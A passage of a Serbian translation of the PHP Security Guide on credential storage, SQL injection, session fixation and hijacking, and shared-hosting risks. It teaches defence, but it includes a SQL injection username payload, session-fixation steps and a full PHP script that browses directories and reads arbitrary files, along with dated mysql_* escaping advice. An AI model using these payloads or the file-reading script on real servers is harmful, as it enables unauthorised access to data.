<?php

$host = 'example.org';
$username = 'myuser';
$password = 'mypass';

$db = mysql_connect($host, $username, $password);

?>
```

Ovo bi mogao biti primer fajla po imenu `db.inc` koji je priključen kada god je povezivanje sa bazom potrebno. Ovaj pristup je zgodan, i drži podatke pristupa u jednom fajlu.

Potencijalni problemi nastaju kada je ovaj fajl lociran unutar korena (root-a) dokumenta. Ovo je uobičajeni pristup, zato što čini `include` i `require` naredbe mnogo jednostavnijim, ali može dovesti do situacija koje mogu prikazati vaše podatke pristupa.

Zapamtite da sve unutar korena dokumenta ima URL povezan sa sobom. Na primer, ako je koren dokumenta `/usr/local/apache/htdocs`, onda fajl lociran u `/usr/local/apache/htdocs/inc/db.inc` ima URL poput `http://example.org/inc/db.inc`.

Kombinujte ovo sa činjenicom da će većina web servera prikazati `.inc` fajlove kao plaintext fajlove, i rizik od prikazivanja vaših podataka pristupa treba da je jasan. Veći problem je bilo koji izvorni kod u ovim modulima može biti izložen, ali podaci pristupa su posebno osetljivi.

Naravno, jedno prosto rešenje je da izmestite sve module izvan korena dokumenta, i ovo je dobra praksa. I `include` i `require` mogu da prihvate fajl sistemsku putanju, pa ne postoji potreba da se ovi moduli učine dostupnim preko URL-a. To je nepotrebnii rizik.

Ako nemate drugog izbora za smeštanje vaših modula, i oni moraju biti unutar korena dokumenta, možete staviti nešto poput ovoga u vaš `httpd.conf` fajl (pretpostavljajući da je u pitanju Apache web server):

```
<Files ~ "\.inc$">
    Order allow,deny
    Deny from all
</Files>
```

Nije dobra ideja da procesuirate svoje module PHP endžinom. Ovo uključuje preimenovanje vaših modula sa `.php` ekstenzijom kao i korišćenje `AddType` da sadrži `.inc` fajlove tretirane kao PHP fajlove. Izvršavanje koda van konteksta može biti veoma opasno, jer je nepredviđeno i može voditi ka nepoznatim rezultatima. Međutim, ako se vaši moduli sastoje od dodeljivanja varijabli (kao u primeru), ovaj rizik je umanjen.

Moj omiljeni metod za zaštitu podataka pristupa bazi podataka je opisan u knjizi PHP kuvar (PHP Cookbook O'Reilly) od strane David-a Sklar-a i Adam-a Trachtenberg-a. Kreirajte fajl, `/path/to/secret-stuff`, koji samo `root` korisnik može da čita (ne `nobody`):

```
SetEnv DB_USER "myuser"
SetEnv DB_PASS "mypass"
```

Priključite ovaj fajl u `httpd.conf` kao što sledi:

```
Include "/path/to/secret-stuff"
```

Sada možete da koristite `$_SERVER['DB_USER']` i `$_SERVER['DB_PASS']` u vašem kodu. Ne samo da nikad nećete morati da pišete svoje korisničko ime i šifru u bilo kom vašem skriptu, web server ne može da čita `secret-stuff` fajl, tako da ni jedan drugi korisnik ne može da napiše skript koji čita vaše podatke pristupa (bez obzira na jezik). Samo budite pažljivi da ne prikazujete ove promenljive sa nečim kao `phpinfo()` ili `print_r($_SERVER)`.

SQL ubacivanje (SQL Injection)

Od napada SQL ubacivanjem jako se jednostavno odbraniti, alo mnoge aplikacije su još uvek ranjive. Razmotrite sledeću SQL naredbu:

```
<?php

$sql = "INSERT
      INTO  users (reg_username,
                  reg_password,
                  reg_email)
      VALUES ('${_POST['reg_username']}',
              '${_POST['reg_password']}',
              '${_POST['reg_email']}')";

?>
```

Ovaj upit je konstruisan sa `$_POST`, što bi odmah trebalo da izgleda sumnjivo.

Pretpostavite da ovaj upit pravi novi nalog. Korisnik obezbeđuje željeno korisničko ime i email adresu. Registraciona aplikacija generiše privremenu šifru i šalje je korisniku da potvrdi email adresu. Zamislite da korisnik unese sledeće kao korisničko ime:

```
bad_guy', 'mypass', ''), ('good_guy
```

Ovo svakako ne izgleda kao validno korisničko ime, ali kada nema filtriranja podataka, aplikacija to ne može shvatiti. Ako je data ispravna email adresa (`shiflett@php.net`, na primer), i `1234` je šta aplikacija generiše kao šifru, SQL naredba postaje kako sledi:

```
<?php

$sql = "INSERT
      INTO  users (reg_username,
                  reg_password,
                  reg_email)
```

```
VALUES ('bad_guy', 'mypass', ''), ('good_guy',
      '1234',
      'shiflett@php.net');"
?>
```

Umesto željene akcije kreiranja jednog naloga (`good_guy`) sa ispravnom email adresom, aplikacija je prevarena da napravi dva naloga, i korisniku su poslali svi detalji `bad_guy` naloga.

Dok ovaj primer ne mora da izgleda opasan, treba biti jasno da se mnogo gore stvari mogu dogoditi jednom kada napadač može izmeniti vašu SQL naredbu.

Na primer, u zavisnosti od baze podataka koju koristite, može biti moguće da pošalje višestruke upite serveru baze podataka u jednom pozivu. Tako, korisnik može potencijalno da završi postojeći upit sa tačkom i zarezom i da nastavi sa upitom od izbora korisnika.

MySQL, do nedavno, nije dozvoljavao višestruke upite, tako da je ovaj određeni rizik umanjeno. Novije verzije MySQL-a dozvoljavaju višestruke upite, ali sa odgovarajuća PHP ekstenzija (`ext/mysqli`) zahteva da koristite posebnu funkciju ako želite da pošaljete višestruke upite (`mysqli_multi_query()` umesto `mysqli_query()`). Dozvoljavajući samo jedan upit je bezbednije, zato što ograničava šta napadač potencijalno može da uradi.

Zaštita od SQL ubacivanja je laka:

- Filtrirajte vaše podatke.

Ovo ne može biti pre naglašeno. Sa dobrim filtriranjem podataka, većina bezbednosnih briga je umanjeno, i neke su praktično eliminisane.

- Navodite svoje podatke.

Ako vaša baza podataka dozvoljava (MySQL dozvoljava), stavite jednostruke navodnike oko svih podataka u vašim SQL naredbama, bez obzira na tip podataka.

- Escape-ujte vaše podatke.

Nekad ispravni podaci mogu slučajno omesti format SQL naredbe po sebi. Koristite `mysql_escape_string()` ili funkciju za escaping vaše specifične baze podataka. Ako nema posebne, `addslashes()` je dobar poslednji izbor

Vodič za PHP bezbednost (PHP Security Guide): Sesije

Fiksacija sesija (Session Fixation)

Bezbednost sesija je sofisticirana tema, i ne predstavlja iznenađenje da sesije predstavljaju čestu metu napada. Većina napada preko sesija u sebe uključuju oponašanje, gde napadač pokušava da ostvari pristup sesiji drugog korisnika oponašajući tog korisnika.

Najznačajnija informacija za napadača je identifikator sesije, zato što je neophodan za bilo kakav napad oponašanjem. Postoje tri uobičajena načina za pribavljanje ispravnog identifikatora sesije:

- Predviđanje
- Zaplena
- Fiksacija

Predviđanje se oslanja na pogađanje ispravnog identifikatora sesije. PHP-ov prirodni mehanizam sesija, identifikator sesije je ekstremno nasumičan, i ovo je najmanje verovatno najslabija tačka vaše primene.

Zaplena ispravnog identifikatora sesije je najčešći tip napada preko sesija, i postoje brojni pristupi. S obzirom da se identifikatori sesija tipično prenose preko cookie-ja ili kao GET promenljive, različiti pristupi se orijentišu na napadanje tih metoda prenosa. Iako su postojala nekoliko ranjivosti u čitačima, i to većinom u Internet Explorer-u, cookie-ji su neznatno manje eksponirani nego GET promenljive. Stoga, za korisnike koji uključe cookie-je, možete obezbediti sigurniji način za prenošenje identifikatora sesije cookie-jem.

Fiksacija je najjednostavniji način pribavljanja ispravnog identifikatora sesije. Iako se nije teško odbraniti, ako vaš sistem sesija sadrži samo `session_start()`, vi ste ranjivi.

Da bi demonstrirali fiksaciju sesija, koristiću sledeći skript, `session.php`:

```
<?php
session_start();

if (!isset($_SESSION['visits']))
{
    $_SESSION['visits'] = 1;
}
else
{
    $_SESSION['visits']++;
}

echo $_SESSION['visits'];
?>
```

Po prvoj poseti ove stranice, videli bi ste 1 ispis na ekranu. Prilikom svake sledeće posete, ovo bi trebalo da se uvećava da bi prikazalo koliko puta ste posetili stranicu.

Da bi prikazali fiksaciju sesije, prvo se pobrinite da nemate izlazeći identifikator sesije (recimo obrišite cookie-je), onda posetite ovu stranu sa `?PHPSESSID=1234` pridruženom URL-u. Sledeće, sa potpuno drugim čitačem (ili čak sa drugog

komputera), posetite isti URL ponovo sa pridruženim `?PHPSESSID=1234`. Videćete da ne vidite ispis 1 po vašoj prvoj poseti, nego da brojanje nastavlja sesiju koju ste prethodno pokrenuli.

Zašto ovo može biti problematično? Većina napada fiksacijom sesija jednostavno koriste link ili preusmeravanje na nivou protokola da pošalju korisnika na udaljeni sajt sa identifikatorom sesija pridruženim URL-u. Korisnik verovatno neće primetiti, s obzirom da će se sajt ponašati identično. Izbor identifikatora sesije od strane napadača, već je poznato, i može biti iskorišćeno za napad oponašanjem poput otmicom sesije (session hijacking).

Dosta lako je odbraniti se od jednostavnog napada poput ovog. Ako nema aktivne sesije asociirane sa identifikatorom sesije koju korisnik predstavlja, obnovite je da bi bili sigurni:

```
<?php

session_start();

if (!isset($_SESSION['initiated']))
{
    session_regenerate_id();
    $_SESSION['initiated'] = true;
}

?>
```

Problem sa ovakvom jednostavnom odbranom je taj što napadač može pokrenuti sesiju sa specifičnim identifikatorom sesije, i onda da iskoristi taj identifikator za napad.

Da bi se zaštitili od ove vrste napada, prvo razumite da je otmica sesije jedino korisna nakon što se korisnik prijavio ili na drugi način obezbedio veći nivo privilegija. Zato, ako izmenimo pristup da obnovimo identifikator sesije kada god se izmeni nivo privilegija (na primer, nakon potvrđivanja korisničkog imena i šifre), imaćemo praktično eliminisan rizik od uspešnog napada fiksacijom sesija.

Otmica sesije (Session Hijacking)

Ubedljivo najčešći napad preko sesija, otmici sesija pripadaju svi napadi koji pokušavaju da preuzmu pristup sesiji drugog korisnika.

Kao i kod fiksacije sesija, ako se vaš sistem sesija sastoji samo od `session_start()`, vi ste ranjivi, iako zloupotreba nije tako jednostavna.

Umesto da se fokusiram na to kako da sačuvate identifikator sesije od hvatanja, fokusiraću se na to kako da takvo hvatanje učinite manje opasnim. Cilj je da iskomplikujete imitiranje, s obzirom da svaka komplikacija povećava bezbednost. Da bi ovo ostvarili, ispitaćemo korake neophodne za uspešnu otmicu sesije. U svakom scenariju, pretpostavićemo da je identifikator sesije kompromitovan.

U najjednostavnijem, sistemu sesija ispravni identifikator sesije je sve što je potrebno za uspešnu otmicu sesije. Da bi ovo unapredili, treba da vidimo da li postoji još nešto u HTTP zahtevu što možemo koristiti za dodatnu identifikaciju.

Note

Nije mudro osloniti se na bilo šta na nivou TCP/IP, poput IP adresu, zato što su ov protokoli nižeg nivoa koji nisu namenjeni da preduzimaju aktivnosti koje se odigravaju na nivou HTTP. Pojedinačni korisnik može imati više različitih IP adresa za svaki zahtev, a više korisnika mogu imati potencijalno istu IP adresu.

Podsetimo se tipičnog HTTP zahteva:

```
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
```

Samo je `Host` neophodan deo zaglavlja po `HTTP/1.1`, tako da se ne čini pametnim oslanjati se na bilo šta drugo. Međutim, doslednost je sve što nam treba, zato što smo samo zainteresovani za otežavanje imitiranja bez da se ometaju legitimni korisnici.

Zamislite prethodni zahtev koji je praćen zahtevom sa drugačijim `User-Agent`-om:

```
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla Compatible (MSIE)
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
```

Iako je cookie prisutan, treba li predpostaviti da je ovo isti korisnik? Čini se veoma malo verovatnim da bi čitač promenio `User-Agent` zaglavlje između zahteva, zar ne? Hajde da izmenimo sistem sesije da izvrši dodatnu proveru:

```
<?php

session_start();

if (isset($_SESSION['HTTP_USER_AGENT']))
{
    if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT']))
    {
        /* Prompt for password */
        exit;
    }
}
else
{
    $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);
}

?>
```

Sada napadač mora prezentovati pored ispravnog identifikatora sesije, i ispravno `User-Agent` zaglavlje koje nije

povezano sa sesijom. Ovo dodatno komplikuje stvari, i stoga je dodatno sigurnije.

Možemo li ovo poboljšati? Razmotrite najčešći metod korišćen za pribavljanje vrednosti cookie-a iskorišćavanjem ranjivosti čitača kakav je Internet Explorer. Ovi propusti uključuju da žrtva poseti napadačev sajt, tako da napadač može da nabavi ispravno `User-Agent` zaglavlje. Nešto dodatno je potrebno da bi se zaštitili od ovakvih situacija.

Zamislite da je potrebno da korisnik prosledi MD5 `User-Agent` zaglavlja u svakom zahtevu. Napadač ne bi mogao da ponovi zaglavlja koje sadrži žrtvin zahtev, nego bi takođe bilo neophodno da prosledo i ovu dodatnu informaciju. Dok pretpostavimo da pravljenje ovog posebnog znaka nije previše teško, možemo dodatno zakomplikovati ovaj posao pogađanja jednostavnim dodavanjem delića nasumičnosti načinu kako pravimo znak:

```
<?php

$string = $_SERVER['HTTP_USER_AGENT'];
$string .= 'SHIFLETT';

/* Add any other data that is consistent */

$fingerprint = md5($string);

?>
```

Imajući u vidu da prosleđujemo identifikator sesije preko cookie-ja, i da već ovo zahteva da napad uključi i kompromitovanje ovaj cookie (i verovatno sva HTTP zaglavlja), trebalo bi da prosleđujemo ovaj otisak prsta kao URL varijablu. Ovo mora da postoji u svim URL-ovima kao da je identifikator sesije, zato što oba trebaju biti zahtevani da bi se sesija automatski nastavljena (u nastavku prolaska svih provera).

Da bi se pobrinuli da se legitimni korisnici ne tretiraju kao kriminalci, jednostavno zatražite za šifru ako provera propadne. Ako postoji greška u vašem sistemu koj pogrešno posumnja da korisnik pokušava napad oponašanjem, traženje šifre pre nastavka je najmanje uvredljiv način rukovođenja situacijom. U suštini, vaši korisnici će ceniti dodatni nivo sigurnosti koju će taj zahtev označava.

Postoji mnogo načina koje možete primeniti da zakomplikujete imitiranje i zaštitite svoju aplikaciju od otmice sesija. Nadam se da ćete makar nešto dodatno uraditi pored `session_start()` kao i da ćete doći i do nekih svojih ideja. Samo zapamtite da učinite stvari teškim za loše momke i lake sa dobre momke.

Note

Neki stručnjaci tvrde da `User-Agent` zaglavlje nije dovoljno dosledno da bi se koristilo na opisani način. Argument je da HTTP proksi u grupi može izmeniti `User-Agent` zaglavlje nedosledno sa ostalim proksijima u istoj grupi. Iako nikad nisam opazio ovo ponašanje (i osećam se komforno oslanjajući se na doslednost `User-Agent`), i to je nešto što trebate da razmotrite.

Za `Accept` zaglavlje je poznato da se menja od zahteva do zahteva u Internet Explorer-u (u zavisnosti od toga da li korisnik osvežava stranicu u čitaču), tako da se na njegovu doslednost ne bi trebalo oslanjati.

Vodič za PHP bezbednost (PHP Security Guide): Deljeni hosting (Shared Hosts)

Izloženi podaci sesija (Exposed Session Data)

Na deljenom hostingu, bezbednost jednostavno nije toliko jaka koliko je na privatnom hostingu. Ovo je jedan od kompromisa za jeftinije troškove.

Jedan posebno ranjiv aspekt deljenog hostinga je postojanje deljenog smeštanja sesija. Po podrazumevanim podešavanjima, PHP smešta podatke o sesiji u `/tmp`, i ovo je tačno za sve. Otkrićete da se većina ljudi drži podrazumevanih podešavanja za mnoge stvari, ni sesije nisu izuzetak. Srećom, ne mogu svi čitati fajlove sesija, zato što su oni čitljivi samo od strane web servera:

```
$ ls /tmp
total 12
-rw----- 1 nobody nobody 123 May 21 12:34 sess_dc8417803c0f12c5b2e39477dc371462
-rw----- 1 nobody nobody 123 May 21 12:34 sess_46c83b9ae5e506b8ceb6c37dc9a3f66e
-rw----- 1 nobody nobody 123 May 21 12:34 sess_9c57839c6c7a6ebd1cb45f7569d1ccfc
$
```

Na žalost, dosta je jednostavno napisati PHP skript da čita ove fajlove, i zato što se korisnik vodi kao `nobody` (ili kakav god korisnik koji web server koristi), ima sve neophodne privilegije.

Direktiva `safe_mode` može sprečiti ovo i slične bezbednosne brige, ali s obzirom da se ovo odnosi samo na PHP, ne rešava koren problema. Napadač može iskoristiti druge jezike.

Šta je bolje rešenje? Nemojte koristiti isto mesto čuvanja kao svi ostali. Poželjno, je čuvati ih u bazi podataka gde su parametri pristupa jedinstveni za vaš nalog. Da bi uradili ovo, jednostavno koristite funkciju `session_set_save_handler()` da prešli preko PHP-og podrazumevanog rukovanja sesijama sa vašom PHP funkcijom.

Sledeći kod prikazuje jednostavan primer smeštanja sesija u bazi podataka:

```
<?php

session_set_save_handler('_open',
                        '_close',
                        '_read',
                        '_write',
                        '_destroy',
                        '_clean');

function _open()
{
    global $_sess_db;

    $db_user = $_SERVER['DB_USER'];
    $db_pass = $_SERVER['DB_PASS'];
```

```
$db_host = 'localhost';

if ($_sess_db = mysql_connect($db_host, $db_user, $db_pass))
{
    return mysql_select_db('sessions', $_sess_db);
}

return FALSE;
}

function _close()
{
    global $_sess_db;

    return mysql_close($_sess_db);
}

function _read($id)
{
    global $_sess_db;

    $id = mysql_real_escape_string($id);

    $sql = "SELECT data
           FROM sessions
           WHERE id = '$id'";

    if ($result = mysql_query($sql, $_sess_db))
    {
        if (mysql_num_rows($result))
        {
            $record = mysql_fetch_assoc($result);

            return $record['data'];
        }
    }

    return '';
}

function _write($id, $data)
{
    global $_sess_db;

    $access = time();

    $id = mysql_real_escape_string($id);
    $access = mysql_real_escape_string($access);
    $data = mysql_real_escape_string($data);

    $sql = "REPLACE
           INTO sessions
           VALUES ('$id', '$access', '$data')";

    return mysql_query($sql, $_sess_db);
}
```

```

}

function _destroy($id)
{
    global $_sess_db;

    $id = mysql_real_escape_string($id);

    $sql = "DELETE
          FROM  sessions
          WHERE id = '$id'";

    return mysql_query($sql, $_sess_db);
}

function _clean($max)
{
    global $_sess_db;

    $old = time() - $max;
    $old = mysql_real_escape_string($old);

    $sql = "DELETE
          FROM  sessions
          WHERE access < '$old'";

    return mysql_query($sql, $_sess_db);
}

?>

```

Ovo zahteva postojanje tabele po imenu `sessions`, čiji je format kao što sledi:

```

mysql> DESCRIBE sessions;
+-----+-----+-----+-----+-----+-----+
| Field | Type                | Null | Key | Default | Extra |
+-----+-----+-----+-----+-----+-----+
| id    | varchar(32)         |      | PRI |          |       |
| access| int(10) unsigned    | YES  |     | NULL    |       |
| data  | text                | YES  |     | NULL    |       |
+-----+-----+-----+-----+-----+-----+

```

Ova baza podataka može biti kreirana u MySQL-u preko sledeće sintakse:

```

CREATE TABLE sessions
(
    id varchar(32) NOT NULL,
    access int(10) unsigned,
    data text,
    PRIMARY KEY (id)
);

```

Smeštanje sesija u bazu podataka premešta poverenje u sigurnost bezbednosti vaše baze podataka. Podsetite se

lekcija gde smo pričali o bezbednosti baza podataka i SQL-a, zato što se mogu primeniti ovde.

Krstarenje fajl sistemom

Iz čiste zabave, pogledajte skript koji krstari fajl sistemom:

```
<?php

echo "<pre>\n";

if (ini_get('safe_mode'))
{
    echo "[safe_mode enabled]\n\n";
}
else
{
    echo "[safe_mode disabled]\n\n";
}

if (isset($_GET['dir']))
{
    ls($_GET['dir']);
}
elseif (isset($_GET['file']))
{
    cat($_GET['file']);
}
else
{
    ls('/');
}

echo "</pre>\n";

function ls($dir)
{
    $handle = dir($dir);

    while ($filename = $handle->read())
    {
        $size = filesize("$dir$filename");

        if (is_dir("$dir$filename"))
        {
            if (is_readable("$dir$filename"))
            {
                $line = str_pad($size, 15);
                $line .= "<a href=\"{" . $_SERVER['PHP_SELF'] . "?dir=$dir$filename/\">$filename</a>";
            }
            else
            {
                $line = str_pad($size, 15);
                $line .= "$filename/";
            }
        }
    }
}
```

```
    }
    else
    {
        if (is_readable("$dir$filename"))
        {
            $line = str_pad($size, 15);
            $line .= "<a href=\"{$_SERVER['PHP_SELF']}?file=$dir$filename\">$filename</a>";
        }
        else
        {
            $line = str_pad($size, 15);
            $line .= $filename;
        }
    }

    echo "$line\n";
}

$handle->close();
}

function cat($file)
{
    ob_start();
    readfile($file);
    $contents = ob_get_contents();
    ob_clean();
    echo htmlentities($contents);

    return true;
}

?>
```

Direktiva `safe_mode` može sprečiti ovaj navedeni skript, ali šta ako on je pisan u drugom jeziku?

Dobro rešenje je da smestite sve osetljive podatke u bazu podataka i koristite tehnike pomenute ranije (gde `$_SERVER['DB_USER']` i `$_SERVER['DB_PASS']` sadrže parametre pristupe) da bi zaštili svoje parametre pristupa bazi podataka.

Najbolje rešenje je da koristite privatni hosting.

Vodič za PHP bezbednost (PHP Security Guide): O (About)

O ovom vodiču

Vodič za PHP bezbednost (PHP Security Guide) je projekat Konzorcijuma za PHP bezbednost (PHP Security Consortium). Uvek možete naći najnoviju verziju vodiča na <http://phpsec.org/projects/guide/>.

O Konzorcijumu za PHP bezbednost

Misija Konzorcijuma za PHP bezbednost (PHP Security Consortium - PHPSC) je promocija prakse bezbednog programiranja unutar PHP zajednice kroz edukaciju i izložbe uz održavanje visokih etičkih standarda.

Saznajte više o Konzorcijumu na <http://phpsec.org/>.

Dodatne informacije

Za dodatne informacije o praksama PHP bezbenosti, posetite Biblioteku Konzorcijuma na <http://phpsec.org/library/>.